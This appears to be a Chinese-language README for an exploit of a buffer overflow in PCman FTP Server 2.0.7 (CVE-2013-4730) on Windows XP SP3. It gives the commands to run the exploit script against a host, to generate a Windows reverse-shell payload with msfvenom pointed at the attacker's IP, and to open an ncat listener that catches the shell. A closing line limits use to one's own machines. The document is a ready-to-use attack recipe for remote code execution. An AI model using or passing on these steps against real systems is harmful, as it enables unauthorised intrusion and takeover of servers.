PCman FTP服务器缓冲区溢出与远程代码执行 [CVE-2013-4730]

一个利用CVE-2013-4730针对PCman FTP服务器v2.0.7的简单缓冲区溢出攻击

工作原理？

这个简单的BoF覆盖缓冲区并执行shellcode，从而建立反向连接（反向shell）

漏洞机器：

WindowsXP SP3运行PCman FTP服务器2.0.7版本

启动

~$ python3 PCman.py <host> <port>

将shellcode替换为你自己的！

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

启动netcat

~$ ncat -lvp <shellcode port>

仅限在您自己的机器上使用！！